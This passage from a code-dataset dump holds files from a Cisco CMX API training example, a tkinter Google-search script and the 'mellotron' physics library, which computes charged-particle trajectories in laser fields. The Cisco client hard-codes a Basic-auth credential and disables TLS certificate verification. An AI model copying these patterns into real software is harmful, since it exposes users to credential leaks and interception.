"SNAPSHOT_URL = \"/api/v2/camera/snapshot_url\"\n\nCMX_AP_STATS_URL = \"/api/v2/cmx/ap_stats\"\nCMX_MAP_INFO_URL = \"/api/v2/cmx/map_info\"\nCMX_MAP_IMAGE_URL = \"/api/v2/cmx/map_source\"" }, { "alpha_fraction": 0.5820895433425903, "alphanum_fraction": 0.6268656849861145, "avg_line_length": 16, "blob_id": "40af5c4d2add75000a9cb80178980df287dc706e", "content_id": "88dbbb9fb73372991fd33039901c8dcb42712274", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 67, "license_type": "no_license", "max_line_length": 28, "num_lines": 4, "path": "/Errors/Constants.py", "repo_name": "pjrcisco/train_example", "src_encoding": "UTF-8", "text": "INVALID_REQUEST = {\n \"status\": 400,\n \"error\": \"INVALID_REQUEST\"\n}" }, { "alpha_fraction": 0.726881742477417, "alphanum_fraction": 0.7376344203948975, "avg_line_length": 37.75, "blob_id": "c1acb3886475077f0f6c3f1930d6c1754c31a286", "content_id": "5b3310fd468f934b22ea61bf7a4052ade079e3fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 465, "license_type": "no_license", "max_line_length": 97, "num_lines": 12, "path": "/CMX/API/Map.py", "repo_name": "pjrcisco/train_example", "src_encoding": "UTF-8", "text": "#### Location.py will have methods for interacting with the /location endpoint\nimport CMX.client\n\ndef info(floor_info):\n params = None\n client = CMX.client.new(\"/api/contextaware/v1/maps/info/\" + floor_info, params=params)\n return client.get_it()\n\ndef image_source(image_name):\n headers = {'Authorization': 'Basic bGVhcm5pbmc6bGVhcm5pbmc='}\n client = CMX.client.new(\"/api/contextaware/v1/maps/imagesource/\" + image_name, headers=headers)\n return client.get()\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6746666431427002, "avg_line_length": 33.181819915771484, "blob_id": "6c6915d667e73397d924e2124d706ba5c75a741f", "content_id": "702705dcaeb00366bec172a39960771fb81d9552", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 375, "license_type": "no_license", "max_line_length": 107, "num_lines": 11, "path": "/CMX/client.py", "repo_name": "pjrcisco/train_example", "src_encoding": "UTF-8", "text": "import json\nimport APIBase\n\ndef new(uri, body={}, token=None, params=None, headers=None):\n if headers == None:\n headers = {\n 'Authorization': 'Basic bGVhcm5pbmc6bGVhcm5pbmc=',\n 'Content-Type': 'application/json',\n 'Accept': 'application/json'\n }\n return APIBase.Client(\"https://msesandbox.cisco.com\", uri, headers, body={}, verify=False, params=params)" } ]
9
fasterastv2/Google-Search
https://github.com/fasterastv2/Google-Search
6b642c40660732ed6339e4d633573b6257f33330
6d6cd8190a343b5c729cee289c86a0573d7fda1e
7870f5bf5c88a7215a3fe7ae69d9843ee104a09d
refs/heads/main
2023-02-04T14:54:44.662242
2020-12-20T12:35:37
2020-12-20T12:35:37
323,066,260
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.3250507116317749, "alphanum_fraction": 0.3382352888584137, "avg_line_length": 37.66666793823242, "blob_id": "a9c1fdf96e26c793003faeaf68d227ad5b625c60", "content_id": "9ad39892746eb174946d8c1f61a8b833e361cf75", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1972, "license_type": "no_license", "max_line_length": 97, "num_lines": 51, "path": "/google.py", "repo_name": "fasterastv2/Google-Search", "src_encoding": "UTF-8", "text": "from googlesearch import search\nfrom tkinter import *\nimport webbrowser\n\ndef mysearch():\n gg = search(query = e.get(), tld = \"com\", num = 10, start = 0, stop = 10)\n r = []\n for i in gg:\n r.append(i)\n r = sorted(r)\n htmlcode = f\"\"\"\n <html>\n <head>\n <title>Search Results</title>\n </head>\n <body style = \"background-color: grey\">\n <a href = {r[0]} target = \"_blank\",style = \"align: center\">{r[0]}</a>\n <br> <br>\n <a href = {r[1]} target = \"_blank\">{r[1]}</a>\n <br> <br>\n <a href = {r[2]} target = \"_blank\">{r[2]}</a>\n <br> <br>\n <a href = {r[3]} target = \"_blank\">{r[3]}</a>\n <br> <br>\n <a href = {r[4]} target = \"_blank\">{r[4]}</a>\n <br> <br>\n <a href = {r[5]} target = \"_blank\">{r[5]}</a>\n <br> <br>\n <a href = {r[6]} target = \"_blank\">{r[6]}</a>\n <br> <br>\n <a href = {r[7]} target = \"_blank\">{r[7]}</a>\n <br> <br>\n <a href = {r[8]} target = \"_blank\">{r[8]}</a>\n <br> <br>\n <a href = {r[9]} target = \"_blank\">{r[9]}</a>\n <br> <br>\n </body>\n </html>\n \"\"\"\n with open(\"GoogleSearchResults.html\", \"wt\") as file:\n file.write(htmlcode)\n webbrowser.open(\"GoogleSearchResults.html\", new = 2)\nwin = Tk()\nwin.title(\"Google Search\")\ne = Entry(win)\ne.pack()\nb = Button(win, text = \"search\", command = mysearch)\nb.pack()\n\n\nmainloop()\n" } ]
1
joeydumont/mellotron
https://github.com/joeydumont/mellotron
19e9f0594f374c5b5f3076fb2415595df831170b
e38fad179553f4a1eee3d96e313488f9d803bfbb
425f9e82149314dadd516d8810cf0a58057a390c
refs/heads/develop
2020-03-31T21:58:07.835957
2018-11-24T03:14:28
2018-11-24T03:14:28
152,599,987
1
2
null
2018-10-11T13:53:53
2018-11-24T03:14:38
2018-11-24T03:18:51
C++
[ { "alpha_fraction": 0.5586904287338257, "alphanum_fraction": 0.5953530669212341, "avg_line_length": 31.019323348999023, "blob_id": "460a62a60171d77690daeca234c59d20734788a6", "content_id": "3727a0d4a5b1be7a89b58b4c8cc1d3f6754bce04", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6628, "license_type": "no_license", "max_line_length": 199, "num_lines": 207, "path": "/include/mellotron_bits/fields/eDipoles.hpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "#ifndef E_DIPOLES_HPP\n#define E_DIPOLES_HPP\n\n#include <boost/math/constants/constants.hpp>\n\n\nnamespace mellotron {\n\nint interface_to_cubature_e_dipoles(unsigned int ndim, const double * x, void *fdata,\n unsigned int fdim, double * fval);\n\n/*!\n * \\class DipoleQuasiGaussian\n * \\author Joey Dumont <[email protected]>\n * \\since 2016-10-18\n * \\brief Implements the linearly polarized Salamin model.\n *\n * Evaluates the electromagnetic field components of an e-dipole pulse with\n * a quasi-Gaussian envelope.\n *\n * Ref: I. Gonoskov, Phys. Rev. A. 86, 053836 (2012).\n */\nclass DipoleQuasiGaussian\n{\npublic:\n\n /// The model depends on the central frequency of the driving function omega,\n /// the pulse duration a and the laser energy energy.\n DipoleQuasiGaussian(double my_omega,double my_pulse_duration,double my_energy)\n : omega(my_omega)\n , lambda(2.0*constants::math::pi/omega)\n , a(my_pulse_duration)\n , energy(my_energy)\n {\n SetD0();\n }\n\n /// Computes the field components.\n std::array<double,6> ComputeFieldComponents(double t, double x, double y, double z) const\n {\n // Prepare return value.\n std::array<double,6> field = {0.0,0.0,0.0,0.0,0.0,0.0};\n\n // Auxiliary variables.\n double R = std::sqrt(x*x + y*y + z*z);\n\n if (R < 1.0e-3*lambda)\n {\n field[2] = 4.0*d*g3(t)/3.0;\n return field;\n }\n\n // Derivatives of the driving function.\n double my_g0m = g0m(t,R);\n double my_g1p = g1p(t,R);\n double my_g2m = g2m(t,R);\n double my_g2p = g2p(t,R);\n\n // Auxiliary variables.\n double rm1 = 1.0/R;\n double rm2 = 1.0/(R*R);\n double rm3 = 1.0/(R*R*R);\n\n\n // Auxiliary electric fields.\n double E1 = rm1*my_g2m;\n double E2 = rm2*my_g1p + rm3*my_g0m;\n\n // Actual fields.\n double Ex = d*x*z*rm2*(E1+3.0*E2);\n double Ey = d*y*z*rm2*(E1+3.0*E2);\n double Ez = d*((-x*x-y*y)*rm2*E1+(3.0*z*z*rm2-1.0)*E2);\n\n // Auxiliary magnetic field.\n double B1 = my_g2p*rm1+my_g2m*rm2;\n\n // Actual fields.\n double Bx = -d*y*rm1*B1;\n double By = d*x*rm1*B1;\n double Bz = 0.0;\n\n\n field = {Ex,Ey,Ez,Bx,By,Bz};\n\n return field;\n }\n\n /// Compute the energy contained in the field.\n int ComputeNormalizationFactor()\n {\n const uint ndim = 3;\n const uint fdim = 1;\n double xmin[3] = {-10.0*lambda,-10.0*lambda,-10.0*lambda};\n double xmax[3] = { 10.0*lambda, 10.0*lambda, 10.0*lambda};\n double val[1], err[1];\n\n int error_flag = hcubature(fdim, interface_to_cubature_e_dipoles, this, ndim, xmin, xmax,\n 0,0,1.0e-5, ERROR_INDIVIDUAL, val, err);\n\n return error_flag;\n }\n\n double omega; ///< Central frequency of the driving function.\n double lambda; ///< Its related wavelength.\n double a; ///< The inverse of the pulse duration.\n double energy; ///< The total energy contained in the beam.\n double d; ///< The magnitude of the dipole, related to the total energy and driving function.\n\nprotected:\n /// Sets the normalization factor, i.e. the magnitude of the dipole.\n void SetD0()\n {\n double sqr = std::sqrt(3.0*a*energy/(4.0*cst::pi<double>()))/(omega*omega);\n double xi = a/omega;\n double f = std::pow(1.0+6.0*xi*xi+3.0*std::pow(xi,4)*(1.0-std::exp(-0.5/(xi*xi))),-0.5)\n *std::pow(cst::pi<double>()/2.0, -0.25);\n\n d = sqr*f;\n }\n\n /// Retarted form of the driving function.\n double g0_ret(double t, double R) const\n {\n return std::exp(-a*a*std::pow(t-R,2))*std::sin(omega*(t-R));\n }\n\n /// Advanced form of the driving function.\n double g0_adv(double t, double R) const\n {\n return std::exp(-a*a*std::pow(t+R,2))*std::sin(omega*(t+R));\n }\n\n /// Feynman form of the driving function.\n double g0p(double t, double R) const\n {\n return g0_ret(t,R)+g0_adv(t,R);\n }\n\n /// Anti-Feynman form of the driving function.\n double g0m(double t, double R) const\n {\n return g0_ret(t,R)-g0_adv(t,R);\n }\n\n /// First derivative of the Feynman driving function.\n double g1p(double t, double R) const\n {\n return (-2.0*a*a*(t+R)*std::sin(omega*(t+R))+std::cos(omega*(t+R))*omega)*std::exp(-std::pow(a*(t+R),2))\n +(-2.0*a*a*(t-R)*std::sin(omega*(t-R))+std::cos(omega*(t-R))*omega)*std::exp(-std::pow(a*(t-R),2));\n }\n\n /// First derivative of the anti-Feynman driving function.\n double g1m(double t, double R) const\n {\n return (2.0*a*a*(t+R)*std::sin(omega*(t+R))-std::cos(omega*(t+R))*omega)*std::exp(-std::pow(a*(t+R),2))\n +(-2.0*a*a*(t-R)*std::sin(omega*(t-R))+std::cos(omega*(t-R))*omega)*std::exp(-std::pow(a*(t-R),2));\n }\n\n /// Second derivative of the Feynman driving function.\n double g2p(double t, double R) const\n {\n return (-2.0*a*a*std::sin(omega*(t+R))+4.0*std::pow(a*a*(t+R),2)*std::sin(omega*(t+R))-4.0*a*a*(t+R)*std::cos(omega*(t+R))*omega-std::sin(omega*(t+R))*omega*omega)*std::exp(-std::pow(a*(t+R),2))\n +(-2.0*a*a*std::sin(omega*(t-R))+4.0*std::pow(a*a*(t-R),2)*std::sin(omega*(t-R))-4.0*a*a*(t-R)*std::cos(omega*(t-R))*omega-std::sin(omega*(t-R))*omega*omega)*std::exp(-std::pow(a*(t-R),2));\n }\n\n /// Second derivative of the anti-Feynman driving function.\n double g2m(double t, double R) const\n {\n return (2.0*a*a*std::sin(omega*(t+R))-4.0*std::pow(a*a*(t+R),2)*std::sin(omega*(t+R))+4.0*a*a*(t+R)*std::cos(omega*(t+R))*omega+std::sin(omega*(t+R))*omega*omega)*std::exp(-std::pow(a*(t+R),2))\n +(-2.0*a*a*std::sin(omega*(t-R))+4.0*std::pow(a*a*(t-R),2)*std::sin(omega*(t-R))-4.0*a*a*(t-R)*std::cos(omega*(t-R))*omega-std::sin(omega*(t-R))*omega*omega)*std::exp(-std::pow(a*(t-R),2));\n }\n\n /// Third derivative of the driving function, evaluated at R=0..\n double g3(double t) const\n {\n double exp_prefac = std::exp(-a*a*t*t);\n double cos_prefac = -6.0*a*a*omega+12*std::pow(a,4)*omega*t*t-std::pow(omega,3);\n double sin_prefac = 12.0*std::pow(a,4)*t-8.0*std::pow(a,6)*std::pow(t,3)+6.0*a*a*omega*omega*t;\n return exp_prefac*(cos_prefac*std::cos(omega*t)+sin_prefac*std::sin(omega*t));\n }\n\n};\n\n/// Interface to Cubature.\nint interface_to_cubature_e_dipoles(unsigned int ndim, const double * x, void *fdata,\n unsigned int fdim, double * fval)\n{\n\n // We compute the electromagnetic field.\n auto obj = (DipoleQuasiGaussian * )fdata;\n auto field = obj->ComputeFieldComponents(0.0*obj->lambda, x[0], x[1], x[2]);\n\n // We compute the electromagnetic energy.\n fval[0] = 0.0;\n for (uint i=0; i<6; i++)\n {\n fval[0] += field[i]*field[i];\n }\n\n fval[0] *= 0.5;\n\n return 0;\n}\n\n} // namespace mellotron\n\n#endif // E_DIPOLES_HPP\n" }, { "alpha_fraction": 0.6938508749008179, "alphanum_fraction": 0.6996676325798035, "avg_line_length": 54.78807830810547, "blob_id": "acc5af94e0d96df5cb02edd4a831ddf45a6d2ec2", "content_id": "b817df762d44f521d0358d970c6eb8551c8cd090", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 8424, "license_type": "no_license", "max_line_length": 179, "num_lines": 151, "path": "/simulations/README.md", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "PROJECT DESCRIPTION:\nMELLOTRON is a C++ template, header-only library aimed at the efficient\ncomputation of charged particles trajectories in electromagnetic fields. Its main\ndesign feature is the use of arbitrary electromagnetic field models through the use of\ntemplates. It is based upon the Boost integration library, Boost.Numeric.Odeint.\nParticles trajectories can be computed for any charge/mass ratio.\n\n\n\nSTARTING THE MELLOTRON FROM A LOCAL COMPUTER :\n1) Insure the .o are present in the simulations/ directory.\n\n2) Write your simulation parameters in the configSalamin.xml/configStrattoLinear.xml file without changing the file's layout.\n\n3) Create a new directory that will contain your simulation results :\n\n mkdir <dirname>\n\n If you are missing inspiration for the name, you can always use the current date and time like that :\n\n mkdir $(date +%F--%T)\n\n4) Copy the configuration file into your new directory without changing the name of the file :\n\n cp configSalamin.xml <dirname>/\n\n4.a) OPTIONAL add pre-calculated initial conditions and/or normalization constant to your new directory.\n They will be considered by the MELLOTRON and used instead of re-calculated. They must be named either\n\n init_conds.txt\n\n for the initial conditions or\n\n normalization_constant.txt\n\n for the normalization constant.\n\n cp init_conds.txt <dirname>/\n cp normalization_constant.txt <dirname>/\n\n5) Launch the MELLOTRON :\n\n ./automaticStart.sh {options | -j <int> | -s <cylinder, sphere, line> | -d <dirname> | -c <configSalamin.xml, configStrattoLinear.xml> }\n\n\n\nSTARTING THE MELLOTRON FROM MAMMOUTH :\n1) Move to a directory onto the scratch. Insure you copied on the scratch a configuration file (either configSalamin.xml or configStrattoLinear.xml) and the mammouthStart.sh file.\n cd /mnt/parallel_scratch_mp2_wipe_on_december_2017/maclean/maclean_group/mellotron\n\n2) Write your simulation parameters in the configSalamin.xml/configStrattoLinear.xml file without changing the file's layout. \n Write the arguments in the mammouthStart file, plus change the PBS values for the submission. PBS node must equals to NNODES.\n\n3) Create a new directory that will contain your simulation results :\n\n mkdir <dirname>\n\n If you are missing inspiration for the name, you can always use the current date and time like that :\n\n mkdir $(date +%F--%T)\n\n4) Copy the configuration file into your new directory without changing the name of the file, and the mammouthStart.sh as well :\n\n cp configSalamin.xml <dirname>/\n cp mammouthStart.sh <dirname>/\n\n4.a) OPTIONAL add pre-calculated initial conditions and/or normalization constant to your new directory.\n They will be considered by the MELLOTRON and used instead of re-calculated. They must be named either\n\n init_conds.txt\n\n for the initial conditions or\n\n normalization_constant.txt\n\n for the normalization constant.\n\n cp init_conds.txt <dirname>/\n\n5) Launch the MELLOTRON :\n\n qsub mammouthStart.sh\n\n\n\nSCRIPTS API:\n1.a) automaticStart.sh Launches the MELLOTRON if provided at least a dirname containing a configSalamin.xml file.\n usage : ./automaticStart.sh -d <dirname>/ -j <number of jobs> -s <shape> -c <config.xml>\n default value for -d <dirname> is current directory.\n default value for -j <number of jobs> is two. \n default value for -s <shape> is sphere. \n default value for -c <config.xml> is configSalamin.xml.\n note : you might have to do a small chmod +x automaticStart.sh before to obtain permission to use the script.\n The <shape> parameter takes a string that can be chosen between sphere, cylinder or line. If given something else, sphere will be used.\n The <config.xml> parameter takes a string that can be either be configSalamin.xml or configStrattoLinear.xml.\n\n1.b) mammouthStart.sh Launches the MELLOTRON when on mammouth.\n usage : qsub mammouthStart.sh\n #PBS -l walltime=120:00:00 This line takes the maximum estimated time of execution in format hours:minutes:seconds.\n #PBS -l nodes=16:ppn=1 This line takes the number of nodes that will be used by mammouth for the simulation.\n note : The NNODES parameter takes the same int than passed to the PBS nodes argument.\n The SHAPE parameter takes a string that can be chosen between sphere, cylinder or line.\n The CONFIG parameter takes a string that can be either be configSalamin.xml or configStrattoLinear.xml.\n\n2) ComputeNormalizationConstantSalaminLinear.o Computes the normalization constant the MELLOTRON needs.\n usage : There is a configSalamin.xml in the same directory containing the right values of lambda, w0 and L.\n ./ComputeNormalizationConstantSalaminLinear.o\n note : don't forget to compile the most recent version of .cpp with compile.sh script or cmake . in parent directory called mellotron/.\n\n3) GenerateInitialConditions.py Generates the x,y,z,px,py and pz of particles that will be simulated in the MELLOTRON\n usage : There is a configuration file in the same directory containing the right values of lambda/lambda_c, pz and numpart.\n The values for the shapes are also there : initial_z, half_length, half_height, base_radius and sphere_radius.\n python GenerateInitialConditions.py --shape <shape> --config <config.xml>\n default value for <shape> is sphere. Also, cylinder and line are valid strings that can be passed.\n default value for <config.xml> is configSalamin.xml. Also, configStrattoLinear.xml is a valid value.\n\n4) IntegrationSalamin.o Calculates the trajectory of each initial condition\n usage : There is a configSalamin.xml in the same directory containing the right values of mass, Q, lambda, w0, L, energy, t_init, dt and nsteps.\n There is a init_conds.txt file at disposition.\n There is a normalization_constant.txt file in the same directory.\n\n4) IntegrationStrattoLinear.o Calculates the trajectory of each initial condition\n usage : There is a configStrattoLinear.xml in the same directory.\n There is a init_conds.txt file at disposition.\n\n5) manageOutputs.py Generates the global.hdf5 file containing the data of all trajectories calculated in the MELLOTRON and its global.xdmf file.\n usage : python manageOutputs.py --nParticles <number of .hdf5 output files> --directory <dirname>/\n paraview <dirname>/global.xdmf\n\n6) producePlots.py Generates the plots of trajectory and/or polar position and gamma after a given .hdf5 file.\n usage : python producePlots.py --directory <dirname>/ --file <name.hdf5> --nTimeSteps <int> --ion <bool> --ionmass <float> --L <float>\n default value for --file option is global.hdf5.\n default value for --nTimeSteps option is 0, which means all timeSteps will be used to generate the trajectory.\n default value for --ion option is False\n default value for --ionmass option is 4.0.\n default value for --L option is 0.03.\n epstopdf <dirname>/<NameOfGeneratedPlot>.eps <dirname>/<NameOfGeneratedPlot>.pdf\n xdg-open <dirname>/<NameOfGeneratedPlot>.pdf\n note : If given a global.hdf5 file, with python producePlots.py --directory <dirname>/, it will produce a positions plot with all the trajectories on.\n It will also produce a polar positions and gamma plot.\n If the `ion` flag is set to False, the gamma factor will be plotted.\n If the `ion` flag is set to True, the kinetic energy will be plotted instead of the gamma factor. This kinetic energy value will depend\n on the `ionmass` value, which should be in atomic mass units (u). The value of `L` is used in the time of flight plot. It corresponds to the\n distance (in meters) between an imaginary detector placed parallel to the x-axis and the origin of the coordinate system.\n\n\n\nCONTRIBUTORS:\nJoey Dumont <[email protected]>\nDenis Gagnon <[email protected]>\nJustine Pepin <[email protected]>\n" }, { "alpha_fraction": 0.6041815280914307, "alphanum_fraction": 0.6292707920074463, "avg_line_length": 32.125, "blob_id": "722c50fdf6f6ea244c454345776dfe8941f5358e", "content_id": "1d5e6b051bfd8336476601c6e49a6453294eb38b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 9805, "license_type": "no_license", "max_line_length": 224, "num_lines": 296, "path": "/tests/UnitTest-SalaminTightlyFocused.cpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "/*! ------------------------------------------------------------------------- *\n * \\author Joey Dumont <[email protected]> *\n * \\since 2016-10-19 *\n * *\n * Unit test of fields/SalaminTightlyFocused in MELLOTRON. We simply evaluate *\n * and plot the field in a plane and compare with the original article. *\n * --------------------------------------------------------------------------*/\n\n#include <gtest/gtest.h>\n\n#include <armadillo>\n#include <mellotron>\n\nusing namespace mellotron;\n\nclass SalaminTightlyFocusedTest : public testing::Test\n{\npublic:\n SalaminTightlyFocusedTest()\n : lambda(800.0e-9)\n , omega_0(2.0*constants::math::pi*constants::physics::c/lambda)\n , electron_units(omega_0)\n , w0(0.272*lambda/electron_units.UNIT_LENGTH)\n , L(14.4*lambda/electron_units.UNIT_LENGTH)\n , xmax(1.5*lambda/electron_units.UNIT_LENGTH)\n , energy(13.0/electron_units.UNIT_ENERGY)\n , field(lambda/electron_units.UNIT_LENGTH,w0,L,energy)\n {\n lambda /= electron_units.UNIT_LENGTH;\n\n std::cout << \"Norm factor: \" << field.norm_factor << \" \" << 1.0/field.norm_factor << std::endl;\n std::cout << \"Energy [in Mellotron Units]: \" << energy << std::endl;\n std::cout << \"Unit intensity: \" << electron_units.UNIT_E_INTENSITY << std::endl;\n }\n\nprotected:\n\n virtual void SetUp()\n {}\n\n double lambda;\n const double omega_0;\n MellotronUnits electron_units;\n const double w0;\n const double L;\n const double xmax;\n const double energy;\n\n SalaminTightlyFocusedLinear field;\n};\n\nTEST_F(SalaminTightlyFocusedTest, Linear)\n{\n // Define the mesh of the plot.\n uint size_plot = 100;\n auto x_field = arma::linspace<arma::colvec>(-xmax,xmax, size_plot);\n auto y_field = arma::linspace<arma::colvec>(-xmax,xmax, 2*size_plot);\n arma::mat Ex(size_plot,2*size_plot);\n auto Ey =Ex;\n auto Ez =Ex;\n auto Bx =Ex;\n auto By =Ex;\n auto Bz =Ex;\n\n // Compute the field values.\n for (uint i=0; i<size_plot; i++)\n {\n for (uint j=0; j<2*size_plot; j++)\n {\n auto field_vector = field.ComputeFieldComponents(lambda/4.0,x_field[i],y_field[j],lambda/2.0);\n Ex(i,j) = field_vector[0];\n Ey(i,j) = field_vector[1];\n Ez(i,j) = field_vector[2];\n Bx(i,j) = field_vector[3];\n By(i,j) = field_vector[4];\n Bz(i,j) = field_vector[5];\n }\n }\n\n // Compare to test data.\n arma::mat Ex_ref; Ex_ref.load(\"test_data/SalaminField_Ex.txt\", arma::raw_ascii);\n arma::mat Ey_ref; Ey_ref.load(\"test_data/SalaminField_Ey.txt\", arma::raw_ascii);\n arma::mat Ez_ref; Ez_ref.load(\"test_data/SalaminField_Ez.txt\", arma::raw_ascii);\n arma::mat Bx_ref; Bx_ref.load(\"test_data/SalaminField_Bx.txt\", arma::raw_ascii);\n arma::mat By_ref; By_ref.load(\"test_data/SalaminField_By.txt\", arma::raw_ascii);\n arma::mat Bz_ref; Bz_ref.load(\"test_data/SalaminField_Bz.txt\", arma::raw_ascii);\n\n for (uint i=0; i<size_plot; i++)\n {\n for (uint j=0; j<2*size_plot; j++)\n {\n EXPECT_NEAR(Ex(i,j), Ex_ref(i,j), 1.0e-3);\n EXPECT_NEAR(Ey(i,j), Ey_ref(i,j), 1.0e-3);\n EXPECT_NEAR(Ez(i,j), Ez_ref(i,j), 1.0e-3);\n EXPECT_NEAR(Bx(i,j), Bx_ref(i,j), 1.0e-3);\n EXPECT_NEAR(By(i,j), By_ref(i,j), 1.0e-3);\n EXPECT_NEAR(Bz(i,j), Bz_ref(i,j), 1.0e-3);\n }\n }\n\n Ex.save(\"SalaminField_Ex.txt\", arma::raw_ascii);\n Ey.save(\"SalaminField_Ey.txt\", arma::raw_ascii);\n Ez.save(\"SalaminField_Ez.txt\", arma::raw_ascii);\n Bx.save(\"SalaminField_Bx.txt\", arma::raw_ascii);\n By.save(\"SalaminField_By.txt\", arma::raw_ascii);\n Bz.save(\"SalaminField_Bz.txt\", arma::raw_ascii);\n\n // Compute intensity as a function of time.\n // I = 0.5c*epsilon_0*E^2.\n uint time_steps = 1024;\n arma::vec intensityTimes = arma::linspace<arma::vec>(-25e-15,25e-15,time_steps);\n arma::vec intensityValues(time_steps);\n\n for (uint i = 0; i < time_steps; i++)\n {\n auto field_vector = field.ComputeFieldComponents(intensityTimes[i]*omega_0, 0.0,0.0,0.0);\n intensityValues[i] = 0.5*constants::physics::c*constants::physics::epsilon_0*std::pow(electron_units.UNIT_E_FIELD,2)*(field_vector[0]*field_vector[0]+field_vector[1]*field_vector[1]+field_vector[2]*field_vector[2])*1e-4;\n\n for (uint k=0; k<size_plot; k++)\n {\n for (uint l=0; l<2*size_plot; l++)\n {\n field_vector = field.ComputeFieldComponents(intensityTimes[i]*omega_0,x_field[k],y_field[l],lambda/10.0);\n Ex(k,l) = field_vector[0];\n Ey(k,l) = field_vector[1];\n Ez(k,l) = field_vector[2];\n Bx(k,l) = field_vector[3];\n By(k,l) = field_vector[4];\n Bz(k,l) = field_vector[5];\n }\n }\n\n Ex.save(std::string(\"SalaminField_Ex_t\")+std::to_string(i)+std::string(\".txt\"), arma::raw_ascii);\n Ey.save(std::string(\"SalaminField_Ey_t\")+std::to_string(i)+std::string(\".txt\"), arma::raw_ascii);\n Ez.save(std::string(\"SalaminField_Ez_t\")+std::to_string(i)+std::string(\".txt\"), arma::raw_ascii);\n Bx.save(std::string(\"SalaminField_Bx_t\")+std::to_string(i)+std::string(\".txt\"), arma::raw_ascii);\n By.save(std::string(\"SalaminField_By_t\")+std::to_string(i)+std::string(\".txt\"), arma::raw_ascii);\n Bz.save(std::string(\"SalaminField_Bz_t\")+std::to_string(i)+std::string(\".txt\"), arma::raw_ascii);\n\n }\n\n intensityTimes.save(\"SalaminTimeIe.txt\", arma::raw_ascii);\n intensityValues.save(\"SalaminTimeIe_time.txt\", arma::raw_ascii);\n\n // Output the data.\n x_field *= electron_units.UNIT_LENGTH;\n y_field *= electron_units.UNIT_LENGTH;\n\n x_field.save(\"x_field_salamin.txt\", arma::raw_ascii);\n y_field.save(\"y_field_salamin.txt\", arma::raw_ascii);\n\n}\n\nclass SalaminTightlyFocusedNormalizationTest : public testing::Test\n{\npublic:\n SalaminTightlyFocusedNormalizationTest()\n : lambda(800e-9)\n , omega_0(2.0*constants::math::pi*constants::physics::c/lambda)\n , electron_units(omega_0)\n , w0(0.7*lambda/electron_units.UNIT_LENGTH)\n , L(0.8*lambda/electron_units.UNIT_LENGTH)\n , xmax(1.5*lambda/electron_units.UNIT_LENGTH)\n , energy(13.0/electron_units.UNIT_ENERGY)\n , field_norm_test(lambda/electron_units.UNIT_LENGTH,w0,L,1.0)\n , field(lambda/electron_units.UNIT_LENGTH,w0,L,field_norm_test.norm_factor,energy)\n {\n lambda /= electron_units.UNIT_LENGTH;\n\n std::cout << \"Energy [in Mellotron Units]: \" << energy << std::endl;\n }\n\nprotected:\n\n virtual void SetUp()\n {}\n\n double lambda;\n const double omega_0;\n MellotronUnits electron_units;\n const double w0;\n const double L;\n const double xmax;\n const double energy;\n\n SalaminTightlyFocusedLinear field_norm_test;\n SalaminTightlyFocusedLinear field;\n};\n\nTEST_F(SalaminTightlyFocusedNormalizationTest, Linear)\n{\n // Define the mesh of the plot.\n uint size_plot = 200 ;\n auto x_field = arma::linspace<arma::colvec>(-xmax,xmax, size_plot);\n auto y_field = arma::linspace<arma::colvec>(-xmax,xmax, size_plot);\n arma::mat field_values(size_plot,size_plot);\n arma::mat field_values_norm(size_plot,size_plot);\n\n // Compute the field values.\n for (uint i=0; i<size_plot; i++)\n {\n for (uint j=0; j<size_plot; j++)\n {\n field_values(i,j) = field.ComputeFieldComponents(0.0,x_field[i],y_field[j],lambda/(2.0*electron_units.UNIT_LENGTH))[0];\n field_values_norm(i,j) = field_norm_test.ComputeFieldComponents(0.0,x_field[i],y_field[j],lambda/(2.0*electron_units.UNIT_LENGTH))[0];\n\n //std::cout << field_values(i,j) << \"\\t\" << std::sqrt(energy)*field_values_norm(i,j) << std::endl;\n\n EXPECT_NEAR(field_values(i,j),std::sqrt(energy)*field_values_norm(i,j),1.0e-5);\n }\n }\n\n // Output the data.\n x_field *= electron_units.UNIT_LENGTH;\n y_field *= electron_units.UNIT_LENGTH;\n\n //x_field.save(\"x_field_salamin.txt\", arma::raw_ascii);\n //y_field.save(\"y_field_salamin.txt\", arma::raw_ascii);\n field_values.save(\"SalaminField.txt\", arma::raw_ascii);\n}\n\nclass SalaminTightlyFocusedQEDTest : public testing::Test\n{\npublic:\n SalaminTightlyFocusedQEDTest()\n : UNIT_LENGTH(3.86159e-13)\n , UNIT_ENERGY(9.1093829140e-31*299792458.0*299792458.0)\n , UNIT_TIME(1.2880885e-21)\n , lambda(800e-9/UNIT_LENGTH)\n , omega(2.0*cst::pi<double>()/lambda)\n , w0(0.7*lambda)\n , L(0.8*lambda)\n , xmax(1.5*lambda)\n , energy(15.0/UNIT_ENERGY)\n , field(lambda,w0,L,energy)\n {\n std::cout << \"Energy [in QED Units]: \" << energy << std::endl;\n }\n\nprotected:\n\n virtual void SetUp()\n {}\n const double UNIT_LENGTH;\n const double UNIT_ENERGY;\n const double UNIT_TIME;\n\n double lambda;\n const double omega;\n const double w0;\n const double L;\n const double xmax;\n const double energy;\n\n SalaminTightlyFocusedLinear field;\n};\n\nTEST_F(SalaminTightlyFocusedQEDTest, Linear)\n{\n // Define the mesh of the plot.\n uint size_plot = 100;\n auto x_field = arma::linspace<arma::colvec>(-xmax,xmax, size_plot);\n auto y_field = arma::linspace<arma::colvec>(-xmax,xmax, size_plot);\n arma::mat field_values(size_plot,size_plot);\n\n // Compute the field values.\n for (uint i=0; i<size_plot; i++)\n {\n for (uint j=0; j<size_plot; j++)\n {\n field_values(i,j) = field.ComputeFieldComponents(lambda/4.0,x_field[i],y_field[j],lambda/2.0)[0];\n }\n }\n\n field.ComputeNormalizationFactor();\n std::cout << \"New norm factor 